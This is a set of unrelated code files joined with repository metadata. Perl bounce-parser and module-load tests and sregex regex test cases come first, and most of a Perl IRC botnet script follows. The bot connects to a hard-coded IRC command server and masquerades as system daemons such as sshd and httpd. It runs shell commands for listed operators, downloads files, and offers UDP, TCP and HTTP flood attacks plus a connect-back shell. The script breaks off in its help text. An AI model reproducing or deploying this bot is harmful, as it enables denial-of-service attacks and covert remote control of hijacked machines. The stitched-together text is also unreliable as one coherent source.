ok($bounce->is_bounce, "it's a bounce, alright"); is( $bounce->orig_message_id, '<200606062115.k56LFe7d012436@somehost.example.com>', "the right bounced message id is given (but has angle-brackets)", ); my $orig_headers = <<'END_MESSAGE'; Received: from somehost.example.com (somehost.example.com [10.0.0.98]) by rly-yi03.mx.aol.com (v109.13) with ESMTP id MAILRELAYINYI34-7bc4485f93b290; Tue, 06 Jun 2006 17:53:00 -0400 Received: from somehost.example.com (localhost [127.0.0.1]) by somehost.example.com (8.12.11.20060308/8.12.11) with ESMTP id k56LpQ9h031020 for <recipient@example.net>; Tue, 6 Jun 2006 14:52:59 -0700 Received: (from sender@localhost) by somehost.example.com (8.12.11.20060308/8.12.11/Submit) id k56LFe7d012436 for recipient@example.net; Tue, 6 Jun 2006 14:15:40 -0700 Date: Tue, 6 Jun 2006 14:15:40 -0700 Message-Id: <200606062115.k56LFe7d012436@somehost.example.com> Content-Type: multipart/alternative; boundary="----------=_1149628539-8175-2121" Content-Transfer-Encoding: binary MIME-Version: 1.0 X-Mailer: MIME-tools 5.415 (Entity 5.415) From: Sender Address <sender@example.com> To: Sender Address <sender@example.com> Subject: Test Message X-AOL-IP: 10.3.4.5 X-AOL-SCOLL-SCORE: 1:2:477151932:12348031 X-AOL-SCOLL-URL_COUNT: 86 END_MESSAGE is($bounce->orig_header->as_string, $orig_headers, "got original headers"); } { my $message = readfile('t/corpus/qmail.unknown.msg'); my $bounce = Mail::DeliveryStatus::BounceParser->new($message); isa_ok($bounce, 'Mail::DeliveryStatus::BounceParser'); ok($bounce->is_bounce, "it's a bounce, alright"); is( $bounce->orig_message_id, '<200608282008.k7SK8Bbu032023@somehost.example.com>', "the right bounced message id is given (but has angle-brackets)", ); my $orig_message = <<'END_MESSAGE'; Return-Path: <sender@somehost.example.com> Received: (qmail 7496 invoked from network); 28 Aug 2006 16:38:01 -0400 Received: from avas5.coqui.net ([196.28.61.131]) (envelope-sender <sender@somehost.example.com>) by mail1.coqui.net (qmail-ldap-1.03) with SMTP for <recipient@example.net>; 28 Aug 2006 16:38:01 -0400 Received: from somehost.example.com ([64.156.13.103]) by avas5.coqui.net with ESMTP; 28 Aug 2006 16:37:27 -0400 Received: from somehost.example.com (localhost [127.0.0.1]) by somehost.example.com (8.12.11.20060308/8.12.11) with ESMTP id k7SKYZYD007776 for <recipient@example.net>; Mon, 28 Aug 2006 13:37:26 -0700 Received: (from sender@localhost) by somehost.example.com (8.12.11.20060308/8.12.11/Submit) id k7SK8Bbu032023 for recipient@example.net; Mon, 28 Aug 2006 13:08:11 -0700 Date: Mon, 28 Aug 2006 13:08:11 -0700 Message-Id: <200608282008.k7SK8Bbu032023@somehost.example.com> Content-Type: multipart/alternative; boundary="----------=_1156795691-26218-2900" Content-Transfer-Encoding: binary MIME-Version: 1.0 X-Mailer: MIME-tools 5.415 (Entity 5.415) From: Sender Address <sender@example.com> To: Sender Address <sender@example.com> Subject: Test Bounce Message This is a multi-part message in MIME format... ------------=_1156795691-26218-2900 Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Plaintext part here. ------------=_1156795691-26218-2900 Content-Type: text/html Content-Disposition: inline Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head> <title>Test Bounce Message</title> <body> <b>Test HTML part here.</b> </body> </html> ------------=_1156795691-26218-2900-- END_MESSAGE is($bounce->orig_text, $orig_message, "got original message"); }
30.86747
182
0.717408
73fd510b03cefb2079f78d1b46fbba4fb84d2552
365
t
Perl
t/00-load.t
gitpan/Event-ScreenSaver
3eac7eec3f2a1234c6c538f6f87d3f67d9d85f6c
[ "Artistic-1.0" ]
null
null
null
t/00-load.t
gitpan/Event-ScreenSaver
3eac7eec3f2a1234c6c538f6f87d3f67d9d85f6c
[ "Artistic-1.0" ]
null
null
null
t/00-load.t
gitpan/Event-ScreenSaver
3eac7eec3f2a1234c6c538f6f87d3f67d9d85f6c
[ "Artistic-1.0" ]
null
null
null
#!perl -T use strict; use warnings; use Test::More; use Test::Warnings; use English qw/ -no_match_vars /; BEGIN { use_ok( 'Event::ScreenSaver' ); use_ok( 'Event::ScreenSaver::Unix' ); }; diag( "Testing Event::ScreenSaver $Event::ScreenSaver::VERSION, Perl $], $^X, $OSNAME" ); BAIL_OUT "Currently only support linux" if $OSNAME ne 'linux'; done_testing;
21.470588
89
0.684932
ed522f6c7adfac355250d925cddd1f67b95cd639
4,262
t
Perl
t/03-pcre-testinput1-08.t
skyportsystems/sregex
96b90cad358660953ad3f24c1a6d86d40944a223
[ "BSD-3-Clause" ]
null
null
null
t/03-pcre-testinput1-08.t
skyportsystems/sregex
96b90cad358660953ad3f24c1a6d86d40944a223
[ "BSD-3-Clause" ]
null
null
null
t/03-pcre-testinput1-08.t
skyportsystems/sregex
96b90cad358660953ad3f24c1a6d86d40944a223
[ "BSD-3-Clause" ]
null
null
null
# vim:set ft= ts=4 sw=4 et fdm=marker: use t::SRegex 'no_plan'; run_tests(); __DATA__ === TEST 1: testinput1:1523 --- re: ^([^a])([^\b])([^c]*)([^d]{3,4}) --- s eval: "baNOTccccd" === TEST 2: testinput1:1524 --- re: ^([^a])([^\b])([^c]*)([^d]{3,4}) --- s eval: "baNOTcccd" === TEST 3: testinput1:1525 --- re: ^([^a])([^\b])([^c]*)([^d]{3,4}) --- s eval: "baNOTccd" === TEST 4: testinput1:1526 --- re: ^([^a])([^\b])([^c]*)([^d]{3,4}) --- s eval: "bacccd" === TEST 5: testinput1:1527 --- re: ^([^a])([^\b])([^c]*)([^d]{3,4}) --- s eval: "*** Failers" === TEST 6: testinput1:1528 --- re: ^([^a])([^\b])([^c]*)([^d]{3,4}) --- s eval: "anything" === TEST 7: testinput1:1529 --- re: ^([^a])([^\b])([^c]*)([^d]{3,4}) --- s eval: "b\bc " === TEST 8: testinput1:1530 --- re: ^([^a])([^\b])([^c]*)([^d]{3,4}) --- s eval: "baccd" === TEST 9: testinput1:1533 --- re: [^a] --- s eval: "Abc" === TEST 10: testinput1:1536 --- re: [^a] --- s eval: "Abc " --- flags: i === TEST 11: testinput1:1539 --- re: [^a]+ --- s eval: "AAAaAbc" === TEST 12: testinput1:1542 --- re: [^a]+ --- s eval: "AAAaAbc " --- flags: i === TEST 13: testinput1:1545 --- re: [^a]+ --- s eval: "bbb\nccc" === TEST 14: testinput1:1548 --- re: [^k]$ --- s eval: "abc" === TEST 15: testinput1:1549 --- re: [^k]$ --- s eval: "*** Failers" === TEST 16: testinput1:1550 --- re: [^k]$ --- s eval: "abk " === TEST 17: testinput1:1553 --- re: [^k]{2,3}$ --- s eval: "abc" === TEST 18: testinput1:1554 --- re: [^k]{2,3}$ --- s eval: "kbc" === TEST 19: testinput1:1555 --- re: [^k]{2,3}$ --- s eval: "kabc " === TEST 20: testinput1:1556 --- re: [^k]{2,3}$ --- s eval: "*** Failers" === TEST 21: testinput1:1557 --- re: [^k]{2,3}$ --- s eval: "abk" === TEST 22: testinput1:1558 --- re: [^k]{2,3}$ --- s eval: "akb" === TEST 23: testinput1:1559 --- re: [^k]{2,3}$ --- s eval: "akk " === TEST 24: testinput1:1562 --- re: ^\d{8,}\@.+[^k]$ --- s eval: "12345678\@a.b.c.d" === TEST 25: testinput1:1563 --- re: ^\d{8,}\@.+[^k]$ --- s eval: "123456789\@x.y.z" === TEST 26: testinput1:1564 --- re: ^\d{8,}\@.+[^k]$ --- s eval: "*** Failers" === TEST 27: testinput1:1565 --- re: ^\d{8,}\@.+[^k]$ --- s eval: "12345678\@x.y.uk" === TEST 28: testinput1:1566 --- re: ^\d{8,}\@.+[^k]$ --- s eval: "1234567\@a.b.c.d " === TEST 29: testinput1:1575 --- re: [^a] --- s eval: "aaaabcd" === TEST 30: testinput1:1576 --- re: [^a] --- s eval: "aaAabcd " === TEST 31: testinput1:1579 --- re: [^a] --- s eval: "aaaabcd" --- flags: i === TEST 32: testinput1:1580 --- re: [^a] --- s eval: "aaAabcd " --- flags: i === TEST 33: testinput1:1583 --- re: [^az] --- s eval: "aaaabcd" === TEST 34: testinput1:1584 --- re: [^az] --- s eval: "aaAabcd " === TEST 35: testinput1:1587 --- re: [^az] --- s eval: "aaaabcd" --- flags: i === TEST 36: testinput1:1588 --- re: [^az] --- s eval: "aaAabcd " --- flags: i === TEST 37: testinput1:1594 --- re: P[^*]TAIRE[^*]{1,6}?LL --- s eval: "xxxxxxxxxxxPSTAIREISLLxxxxxxxxx" === TEST 38: testinput1:1597 --- re: P[^*]TAIRE[^*]{1,}?LL --- s eval: "xxxxxxxxxxxPSTAIREISLLxxxxxxxxx" === TEST 39: testinput1:1600 --- re: (\.\d\d[1-9]?)\d+ --- s eval: "1.230003938" === TEST 40: testinput1:1601 --- re: (\.\d\d[1-9]?)\d+ --- s eval: "1.875000282 " === TEST 41: testinput1:1602 --- re: (\.\d\d[1-9]?)\d+ --- s eval: "1.235 " === TEST 42: testinput1:1614 --- re: \b(foo)\s+(\w+) --- s eval: "Food is on the foo table" --- flags: i === TEST 43: testinput1:1617 --- re: foo(.*)bar --- s eval: "The food is under the bar in the barn." === TEST 44: testinput1:1620 --- re: foo(.*?)bar --- s eval: "The food is under the bar in the barn." === TEST 45: testinput1:1623 --- re: (.*)(\d*) --- s eval: "I have 2 numbers: 53147" === TEST 46: testinput1:1626 --- re: (.*)(\d+) --- s eval: "I have 2 numbers: 53147" === TEST 47: testinput1:1629 --- re: (.*?)(\d*) --- s eval: "I have 2 numbers: 53147" === TEST 48: testinput1:1632 --- re: (.*?)(\d+) --- s eval: "I have 2 numbers: 53147" === TEST 49: testinput1:1635 --- re: (.*)(\d+)$ --- s eval: "I have 2 numbers: 53147" === TEST 50: testinput1:1638 --- re: (.*?)(\d+)$ --- s eval: "I have 2 numbers: 53147"
13.487342
52
0.494369
73fc232903ef584fe62a6c49fd9ba5775dc5357b
39,142
pl
Perl
Anonymous Tools/ircabuse.pl
cyber-expert64/the-hacking-toolkit
3eb74ffa904e618b9db08d521aba07acfc0f0460
[ "MIT" ]
6
2020-12-05T17:59:03.000Z
2021-11-09T11:01:29.000Z
Anonymous Tools/ircabuse.pl
cyber-expert64/the-hacking-toolkit
3eb74ffa904e618b9db08d521aba07acfc0f0460
[ "MIT" ]
1
2022-03-20T08:45:54.000Z
2022-03-20T17:16:49.000Z
Anonymous Tools/ircabuse.pl
cyber-expert64/the-hacking-toolkit
3eb74ffa904e618b9db08d521aba07acfc0f0460
[ "MIT" ]
2
2021-09-09T13:18:28.000Z
2021-12-25T18:09:20.000Z
#!/usr/bin/perl ###################################################################################################################### ###################################################################################################################### ## Perl IrcBot v2.0 / 2015 ## [ Help ] ########################################### ## Stealth MultiFunctional IRCBot writen in Perl ####################################################### ## Tested on every system with PERL installed ## !u @system ## ## ## !u @version ## ## This is a free program used on your own risk. ## !u @channel ## ## Created for educational purpose only. ## !u @flood ## ## I'm not responsible for the illegal use of this program. ## !u @utils ## ###################################################################################################################### ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ########################### ###################################################################################################################### ## !u @join <#channel> ## !u @udp1 <ip> <port> <time> ## !u @cback <ip> <port> ## ## !u @part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ## ## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ## ## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ## ## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ## ## !u !voice <channel> <nick> ## ## !u pwd;uname -a;id <for example> ## ## !u !devoice <channel> <nick> ## !u @ctcpflood <nick> ## !u @port <ip> <port> ## ## !u !nick <newnick> ## !u @msgflood <nick> ## !u @dns <ip/host> ## ## !u !msg <nick> ## !u @noticeflood <nick> ## ## ## !u !quit ## ## ## ## !u !uaw ## ## ## ## !u @die ## ## ## ## ## ## ## ###################################################################################################################### ###################################################################################################################### ############################# ##### [ Configuration ] ##### ############################# my @rps = ("/usr/local/apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL", "/usr/sbin/httpd", "/usr/sbin/sshd -i", "/usr/sbin/sshd", "/usr/sbin/sshd -D", "/usr/sbin/apache2 -k start", "/sbin/syslogd", "/sbin/klogd -c 1 -x -x", "/usr/sbin/acpid", "/usr/sbin/cron"); my $process = $rps[rand scalar @rps]; my @rversion = ("\001VERSION - unknown command.\001", "\001mIRC v5.91 K.Mardam-Bey\001", "\001mIRC v6.2 Khaled Mardam-Bey\001", "\001mIRC v6.03 Khaled Mardam-Bey\001", "\001mIRC v6.14 Khaled Mardam-Bey\001", "\001mIRC v6.15 Khaled Mardam-Bey\001", "\001mIRC v6.16 Khaled Mardam-Bey\001", "\001mIRC v6.17 Khaled Mardam-Bey\001", "\001mIRC v6.21 Khaled Mardam-Bey\001", "\001mIRC v6.31 Khaled Mardam-Bey\001", "\001mIRC v7.15 Khaled Mardam-Bey\001"); my $vers = $rversion[rand scalar @rversion]; my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra", "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja", "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis", "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky", "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram", "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess", "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker", "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread", "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario", "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital", "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica", "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon", "eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw", "fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy", "gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie", "grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry", "hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez", "ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa", "jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz", "jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny", "joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze", "juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken", "keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas", "kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa", "kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux", "lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal", "lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny", "lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou", "manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max", "mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina", "mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw", "monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx", "mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc", "musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie", "natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip", "ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld", "outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal", "pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma", "pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz", "quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska", "raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta", "rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless", "saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor", "servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred", "sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn", "slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress", "spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj", "stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike", "sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone", "tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint", "timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme", "tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia", "vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara", "vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy", "weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman", "wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin", "yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou", "zwsiew","zwsiewale"); my $ircname = $rircname[rand scalar @rircname]; ## my @rrealname = ("4,1[ DDoS Security Team ]", ## "4,1 /!\ DDoS Security Team /!\ ", ## "12,1<///8,1///4,1###>", ## "2,1---=== 4,1 DDoS Security Team 2,1===---"); ## chop (my $realname = $rrealname[rand scalar @rrealname]); chop (my $realname = $rircname[rand scalar @rircname]); ## my @nickname = ("DDoS[U]"); ## my $nick =$nickname[rand scalar @nickname]; my $nick =$rircname[rand scalar @rircname]; $server = 'irc.land' unless $server; my $port = '6667'; my $linas_max='8'; my $sleep='5'; my $homedir = "/tmp"; my $version = 'DDoS Bot v2.0'; my @admins = ("Nomad","DDoS","X","WHOAMI","d3f4ult","ap3x","alg0d"); my @hostauth = ("irc.land","127.0.0.1","*.torservers.net"); my @channels = ("#lizardlounge"); my $pacotes = 1; ################################################################# ##### [ Stop Editing if you dont know what are you doing. ] ##### ################################################################# $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use Socket; use IO::Socket; use IO::Socket::INET; use IO::Select; chdir("$homedir"); $server="$ARGV[0]" if $ARGV[0]; $0="$process"."\0"x16;; my $pid=fork; exit if $pid; die "Can't fork in background: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub getstore ($$) { my $url = shift; my $file = shift; $http_stream_out = 1; open(GET_OUTFILE, "> $file"); %http_loop_check = (); _get($url); close GET_OUTFILE; return $main::http_get_result; } sub _get { my $url = shift; my $proxy = ""; grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { my $host = $1; my $port = $2 || 80; my $path = $3; $path = "/" unless defined($path); return _trivial_http_get($host, $port, $path); } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { my $host = $1; my $port = $2; my $path = $url; return _trivial_http_get($host, $port, $path); } else { return undef; } } sub _trivial_http_get { my($host, $port, $path) = @_; my($AGENT, $VERSION, $p); $AGENT = "get-minimal"; $VERSION = "20000118"; $path =~ s/ /%20/g; require IO::Socket; local($^W) = 0; my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 60) || return; $sock->autoflush; my $netloc = $host; $netloc .= ":$port" if $port != 80; my $request = "GET $path HTTP/1.0\015\012" . "Host: $netloc\015\012" . "User-Agent: $AGENT/$VERSION/u\015\012"; $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache); $request .= "\015\012"; print $sock $request; my $buf = ""; my $n; my $b1 = ""; while ($n = sysread($sock, $buf, 8*1024, length($buf))) { if ($b1 eq "") { $b1 = $buf; $buf =~ s/.+?\015?\012\015?\012//s; } if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } } return undef unless defined($n); $main::http_get_result = 200; if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) { $main::http_get_result = $1; if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) { my $url = $1; return undef if $http_loop_check{$url}++; return _get($url); } return undef unless $main::http_get_result =~ /^2/; } return $buf; } sub conectar { my $meunick = $_[0]; my $server_con = $_[1]; my $port_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", PeerPort=>$port_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$server_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$port_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "".$vers.""); } if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1"); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick-".int rand(9999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@channels) { sendraw("MODE $nick +x"); sendraw("JOIN $canal"); sendraw("PRIVMSG $canal :4,1 [PerlBot v2.0] 9,1Hello master, I`m Ready To Serve ... "); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { ########################### ##### [ Help Module ] ##### ########################### if ($funcarg =~ /^help/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1PerlBot Main Help: "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); } if ($funcarg =~ /^system/) { $uptime=`uptime`; $ownd=`pwd`; $id=`id`; $uname=`uname -srp`; sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration: "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); } if ($funcarg =~ /^version/){ sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations: "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12DDoS "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122012 "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); } if ($funcarg =~ /^flood/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1PerlBot Flood Help: "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); } if ($funcarg =~ /^channel/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1PerlBot Channel Help: "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel> "); sendraw($IRC_cur_socket, "PRIVMSG $printl 